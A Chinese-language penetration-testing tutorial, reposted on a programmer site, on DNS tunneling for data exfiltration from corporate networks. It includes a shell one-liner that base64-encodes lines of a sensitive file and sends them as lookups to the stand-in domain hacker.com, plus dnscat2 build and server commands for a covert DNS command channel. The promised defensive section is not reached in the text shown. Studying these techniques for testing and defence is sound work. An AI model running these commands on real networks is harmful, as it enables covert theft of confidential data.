欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

面向企业网络的数据暗渡攻防大战

程序员文章站 2022-07-03 20:25:29
面向企业网络的数据暗渡攻防大战。数据暗渡,也称为数据挤出,指的是在未经授权的情况下从计算机中转移数据。对于公司网络来说,这些类型的攻击可以通过手动方式来完成,比如利用U盘;此外这种攻击也可以通...

面向企业网络的数据暗渡攻防大战。数据暗渡,也称为数据挤出,指的是在未经授权的情况下从计算机中转移数据。对于公司网络来说,这些类型的攻击可以通过手动方式来完成,比如利用U盘;此外这种攻击也可以通过自动的方式来进行,这时候就需要借助于网络传输数据。在本文中,我们将重点介绍在渗透测试期间基于网络的数据暗渡技术,以及相应的安全加固措施。

隧道技术

作为攻击方,我们假设自己没有有效的域凭据。这意味着我们不能使用公司的代理向外传输数据。同时,如果我们没有连接到互联网,也无法泄露敏感信息。因此,在这种情况下,隧道技术就能发挥非常重要的作用。

隧道技术不是通过网络直接发送数据包,而是通过封装技术在另一个(通常是加密的)连接中发送数据。由于实际数据通过不同的协议进行网络传输的,因此就有机会到达互联网。

根据使用的协议类型,隧道名称可能会有所不同,在本文中,我们将介绍最常见的一些类型。

DNS隧道

在介绍DNS隧道之前,我们首先介绍一些非常简单,但很重要的知识。

➜ ~ cat /etc/resolv.conf|grep -v '#'

domain acme.local

nameserver 192.168.1.1

nameserver 192.168.1.2

首先,我们必须识别出内部的DNS服务器。这很容易,下面将进行一些测试。我们需要回答以下问题。

我们能否与内部DNS通信?

我们能否通过公司DNS解析内部域?

我们可以通过内部DNS解析外部域(例如:pentest.club)吗?

我们可以直接与外部DNS通信吗?

➜ ~ nslookup acmebank.local

Server: 192.168.1.1

Address: 192.168.1.1#53

Name: acmebank.local

Address: 192.168.10.12

➜ ~ nslookup google.com

Server: 192.168.1.1

Address: 192.168.1.1#53

Non-authoritative answer:

Name: google.com

Address: 216.58.209.14

➜ ~ nslookup pentest.blog 8.8.8.8

Server: 8.8.8.8

Address: 8.8.8.8#53

Non-authoritative answer:

Name: pentest.blog

Address: 104.27.169.40

Name: pentest.blog

Address: 104.27.168.40

第一个命令的结果表明,我们可以解析内部域;第二个命令的结果表明,我们可以通过公司DNS服务器解析外部域。这意味着我们可以实现DNS隧道,但我想提醒大家注意第3个命令。大多数安全的网络是不允许与外部DNS进行通信的。如果网络允许这样做的话,这就是另外一个安全问题了,作为渗透测试人员,你必须单独指出这个问题!

DNS隧道是如何工作的?

本文不仅提供了非常详细的示意图,同时,我们还会针对每个步骤进行详细的解说。

面向企业网络的数据暗渡攻防大战

1. 假设渗透测试人员掌控了一个域,例如hacker.com,对它具有完全的控制权。渗透测试人员向内部DNS服务器发送DNS请求,以解析hacker.com

2. hacker.com的权威DNS服务器位于互联网的其他地方。因此,它通过防火墙将相应的请求重定向到根服务器。

3. 经过多次重定向,DNS请求终于到达渗透测试人员掌控的域名hacker.com的权威DNS服务器。

4. 由于这个请求是由渗透测试人员生成的,因此响应是什么并不重要。

5. 该响应到达内部DNS服务器

6. 最后,渗透测试人员将会收到该响应。

这个过程,实际上可以用来跟公司网络外部的服务器进行通信。到目前为止,我们只是找到了一种与外部服务器通信方式。但是,下面开始介绍如何进行数据渗透。同时,我们假设获得了如下所示的一些敏感数据。

➜ ~ cat sensitive.txt

Alice

Bob

John

同时,我们想通过网络把这些机密泄露出去,尽管这些网络的设置是相对安全的。

1

for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done

上面的shell命令将逐行读取包含敏感信息的文件。然后,对每行内容进行base64编码。然后,在DNS查询期间将其用作子域。这样,一旦查询到达hacker.com的权威DNS服务器,我们就可以捕获相应的DNS日志,通过解析日志可以获得子域,从而得到相应的敏感数据。这种技术非常有用,但它有以下限制。

这是一种单向通信。我们不能从C2(权威DNS)发回命令

虽然读取文件非常容易,但是如果需要处理100MB数据时,将会发生什么情况? DNS数据包可能会以不同的顺序到达。

因此,我们需要一个解决所有问题的工具。幸运的是,我们借助于dnscat2。

如何配置和使用Dnscat2?

Dnscat2提供了客户端和服务器应用程序。下面是构建一个DNS2服务器所需的命令。

~ git clone https://github.com/iagox86/dnscat2.git

~ cd dnscat2/server/

~ gem install bundler

~ bundle install

下面是在公司网络上面安装客户端程序所需的具体命令。

root@pentest:~# git clone https://github.com/iagox86/dnscat2.git

root@pentest:~# cd dnscat2/client/

root@pentest:dnscat2/client/# make

一切准备就绪之后,现在我们就可以启动Dnscat2服务器了,具体命令如下所示。

root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online

New window created: 0

dnscat2> New window created: crypto-debug

Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false

history_size (for new windows) => 1000

Security policy changed: All connections must be encrypted

New window created: dns1

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = opendns.online]...

Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):

./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3

Of course, you have to figure out yourself! Clients

will connect directly on UDP port 53.

opendns.online是处于渗透测试人员控制之下的一个域名。此外,重要的一点是让权威DNS服务器为opendns.online生成一个密钥。这个密钥将以“共享秘密”的方式,用于对隧道期间的通信进行加密。除此之外,dnscat还提供了两种不同的客户端命令。即使你能够向外部服务器发送DNS查询,也不要忘记大多数安全网络是不允许任何人使用外部DNS服务的。